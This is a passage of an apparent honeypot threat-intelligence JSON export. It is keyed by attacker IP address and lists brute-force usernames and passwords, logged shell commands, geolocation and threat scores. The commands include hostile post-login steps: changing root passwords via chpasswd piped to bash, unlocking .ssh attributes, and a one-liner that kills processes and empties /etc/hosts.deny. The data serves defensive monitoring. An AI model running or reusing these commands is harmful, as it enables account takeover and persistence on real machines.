        "echo \"root:BRY7rBE5iKa2\"|chpasswd|bash",
        "echo \"root:I0BNwsrm957f\"|chpasswd|bash",
        "echo \"root:fsZNYTolQGTe\"|chpasswd|bash",
        "echo \"root:regUG1lSXzdS\"|chpasswd|bash",
        "echo \"root:xLwdQIkeDGek\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T12:54:28.688000+00:00",
        "last_seen_30d": "2026-05-18T13:56:14.239000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 98
      }
    },
    "171.114.231.195": {
      "attack_count": 426,
      "first_seen": "2026-05-21T06:37:59.701Z",
      "last_seen": "2026-05-22T05:06:37.585Z",
      "sessions": 213,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 648,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:37:59.701000+00:00",
        "last_seen_30d": "2026-05-22T12:57:26.381000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 426,
        "Suricata": 222
      }
    },
    "197.156.83.94": {
      "attack_count": 414,
      "first_seen": "2026-05-14T23:13:34.282Z",
      "last_seen": "2026-05-14T23:53:11.552Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "linux",
        "pakchoi",
        "...",
        "dbus-helper",
        "systemd-sync",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "123456a@",
        "321123",
        "Dr123456",
        "Kermit123@",
        "Passw0rd.",
        "Qwer@2020",
        "aA@12345678",
        "aish",
        "colton",
        "cvs",
        "dzy123",
        "externo",
        "fivem123",
        "giulio",
        "katrina",
        "lol_lol_L0L_12346!&^$%#@@_87568"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\nbKKcqyR3kKGy\\nbKKcqyR3kKGy\\n\"|passwd",
        "echo \"linux123\\nMOd1W0vrpIHV\\nMOd1W0vrpIHV\\n\"|passwd",
        "echo \"root:6MAb3WOPpWck\"|chpasswd|bash",
        "echo \"root:h9YTywrqR2gO\"|chpasswd|bash",
        "echo -e \"Kermit123@\\nbKKcqyR3kKGy\\nbKKcqyR3kKGy\"|passwd|bash",
        "echo -e \"linux123\\nMOd1W0vrpIHV\\nMOd1W0vrpIHV\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 494,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T23:13:34.282000+00:00",
        "last_seen_30d": "2026-05-14T23:54:13.817000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 414,
        "Suricata": 80
      }
    },
    "43.156.17.27": {
      "attack_count": 382,
      "first_seen": "2026-05-16T14:24:22.141Z",
      "last_seen": "2026-05-16T14:58:56.802Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%^&*(",
        "1qaz!QAZ",
        "20192019",
        "2039",
        "Yy123456!",
        "atul",
        "blowjob",
        "compaq88",
        "harry",
        "malcolm",
        "master01",
        "nokia",
        "offroad1",
        "password2",
        "roddy",
        "technical",
        "vfr43edcxsw2",
        "warnightkardesim"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:31syE0SHVT7I\"|chpasswd|bash",
        "echo \"root:DhX2lcfki0Yh\"|chpasswd|bash",
        "echo \"root:HPofdvXEtoxq\"|chpasswd|bash",
        "echo \"root:OmqpOePkdE8E\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 449,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T14:24:22.141000+00:00",
        "last_seen_30d": "2026-05-16T15:00:03.044000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 382,
        "Suricata": 67
      }
    },
    "42.202.103.70": {
      "attack_count": 329,
      "first_seen": "2026-05-21T06:41:02.683Z",
      "last_seen": "2026-05-23T07:25:28.124Z",
      "sessions": 164,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T06:41:02.683000+00:00",
        "last_seen_30d": "2026-05-23T07:26:36.072000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 329,
        "Suricata": 175
      }
    },
    "216.119.151.152": {
      "attack_count": 314,
      "first_seen": "2026-05-03T13:18:37.970Z",
      "last_seen": "2026-05-03T13:29:24.396Z",
      "sessions": 157,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 13213,
      "as_org": "Thg Hosting Limited",
      "threat_score": 4.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 473,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:18:37.970000+00:00",
        "last_seen_30d": "2026-05-03T13:30:34.438000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 159
      }
    },
    "78.20.163.147": {
      "attack_count": 275,
      "first_seen": "2026-05-25T15:21:35.494Z",
      "last_seen": "2026-05-25T15:23:29.102Z",
      "sessions": 127,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "toor",
        "",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Deftinge",
      "asn": 6848,
      "as_org": "Telenet BV",
      "threat_score": 47.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.6,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 572,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T17:16:43.117000+00:00",
        "last_seen_30d": "2026-05-25T15:24:37.153000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 297,
        "Cowrie": 275
      }
    },
    "168.0.82.26": {
      "attack_count": 270,
      "first_seen": "2026-05-19T19:18:42.435Z",
      "last_seen": "2026-05-20T18:07:59.482Z",
      "sessions": 135,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Santar\u00e9m",
      "asn": 265225,
      "as_org": "XINGU TELECOM LTDA",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 405,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:18:42.435000+00:00",
        "last_seen_30d": "2026-05-20T18:09:02.559000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 270,
        "Suricata": 135
      }
    },
    "43.153.32.106": {
      "attack_count": 236,
      "first_seen": "2026-05-17T20:32:09.278Z",
      "last_seen": "2026-05-17T20:56:31.706Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111111a",
        "1234aaaa",
        "1234abcd",
        "2063",
        "Orange@123",
        "Os3leni*",
        "Root123",
        "bigdata",
        "config",
        "csilla",
        "flash",
        "gmail",
        "iskandar",
        "lager",
        "mcs",
        "nintendo",
        "optic",
        "prueba123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:NAS8QlJX6ZEr\"|chpasswd|bash",
        "echo \"root:rStJSXbqoMoS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:32:09.278000+00:00",
        "last_seen_30d": "2026-05-17T20:57:32.716000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "209.74.79.4": {
      "attack_count": 226,
      "first_seen": "2026-05-14T00:28:34.426Z",
      "last_seen": "2026-05-14T01:04:03.573Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweZXC",
        "2014qwer",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr",
        "zxcvbn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:AFGHuzVwGalW\"|chpasswd|bash",
        "echo \"root:CqNgA86vfcra\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 22612,
      "as_org": "Namecheap, Inc.",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 275,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:28:34.426000+00:00",
        "last_seen_30d": "2026-05-14T01:05:05.655000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 226,
        "Suricata": 49
      }
    },
    "150.5.169.176": {
      "attack_count": 219,
      "first_seen": "2026-05-04T23:06:57.032Z",
      "last_seen": "2026-05-04T23:39:02.706Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "oracle",
        "postgres",
        "345gs5662d34",
        "Administrator",
        "admin",
        "debian",
        "dev1",
        "ftpuser",
        "gitworker",
        "guest1",
        "jerry",
        "reza",
        "steam",
        "svenserver",
        "test",
        "testing"
      ],
      "passwords_attempted": [
        "1234",
        "123element098",
        "123qwe",
        "123test456",
        "1q2w3e4r5",
        "3245gs5662d34",
        "345gs5662d34",
        "AAaa123456",
        "PASSWORD",
        "Qwerty123.",
        "administrator",
        "ch4ng3m3",
        "cmsadmin",
        "dev1",
        "gitworker",
        "guest",
        "ioana",
        "oracl3",
        "p@ssw0rd",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ubuntu@321\\nJULQAVwbw6Me\\nJULQAVwbw6Me\\n\"|passwd",
        "echo -e \"ubuntu@321\\nJULQAVwbw6Me\\nJULQAVwbw6Me\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:06:57.032000+00:00",
        "last_seen_30d": "2026-05-04T23:40:04.124000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "171.25.158.82": {
      "attack_count": 219,
      "first_seen": "2026-05-03T21:07:56.559Z",
      "last_seen": "2026-05-03T22:01:41.937Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "debian",
        "test",
        "tester",
        "345gs5662d34",
        "ali",
        "esuser",
        "ftp_admin",
        "git",
        "sysadmin",
        "user2",
        "userftp",
        "vmadmin"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "112233",
        "1234",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123",
        "Abcd1234",
        "Test123",
        "abcd1234",
        "admin0000",
        "admin123admin123",
        "adminadmin",
        "adminqwerty",
        "debian",
        "debian2024",
        "enterprise",
        "frappe",
        "gituser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"test\\nDMLYmP6SvDW8\\nDMLYmP6SvDW8\\n\"|passwd",
        "echo -e \"test\\nDMLYmP6SvDW8\\nDMLYmP6SvDW8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T21:07:56.559000+00:00",
        "last_seen_30d": "2026-05-03T22:02:42.686000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 75
      }
    },
    "170.238.160.191": {
      "attack_count": 216,
      "first_seen": "2026-05-24T22:53:56.481Z",
      "last_seen": "2026-05-28T01:09:15.846Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cloud",
        "dockeruser",
        "dd",
        "mongod",
        "openbravo",
        "prueba",
        "testing"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "Hello1234",
        "Hello@123",
        "Wangsu@2017",
        "dd",
        "dockeruser",
        "fjbdfdjkdsfs541544",
        "mongod",
        "openbravo",
        "prueba",
        "testing",
        "zabbix"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"dockeruser\\nNJ8P6cvksb8y\\nNJ8P6cvksb8y\\n\"|passwd",
        "echo \"fjbdfdjkdsfs541544\\nEmZckJhZ2ptH\\nEmZckJhZ2ptH\\n\"|passwd",
        "echo -e \"dockeruser\\nNJ8P6cvksb8y\\nNJ8P6cvksb8y\"|passwd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nEmZckJhZ2ptH\\nEmZckJhZ2ptH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Salvador",
      "asn": 266327,
      "as_org": "NCS-Fibra New Central Solutions",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:53:56.481000+00:00",
        "last_seen_30d": "2026-05-28T01:10:23.993000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 216,
        "Suricata": 42
      }
    },
    "102.129.186.87": {
      "attack_count": 198,
      "first_seen": "2026-05-08T12:16:48.196Z",
      "last_seen": "2026-05-31T20:02:18.972Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": null,
      "asn": 62390,
      "as_org": "NexonHost Srl",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.6,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 230,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:16:48.196000+00:00",
        "last_seen_30d": "2026-05-31T20:03:28.972000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 98
      }
    },
    "202.165.22.58": {
      "attack_count": 173,
      "first_seen": "2026-05-09T18:32:51.655Z",
      "last_seen": "2026-05-09T19:19:43.905Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "test",
        "345gs5662d34",
        "bkuser",
        "odoo",
        "oracle",
        "postgres",
        "testing",
        "user2"
      ],
      "passwords_attempted": [
        "123123",
        "11223344",
        "112233445566",
        "123123123",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "789UIOjkl",
        "Passw0rd",
        "Password123",
        "admin1",
        "admin2021",
        "asdasd",
        "bkuser",
        "developer1234567",
        "oracle2019",
        "pa$$word",
        "password123",
        "qqwwee",
        "qwe@1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ecAWNj0nbKO4\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 18206,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:32:51.655000+00:00",
        "last_seen_30d": "2026-05-09T19:20:47.544000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 56
      }
    },
    "38.19.159.254": {
      "attack_count": 173,
      "first_seen": "2026-05-19T00:05:22.207Z",
      "last_seen": "2026-05-19T01:29:19.647Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "devel",
        "erp",
        "neeraj",
        "robot",
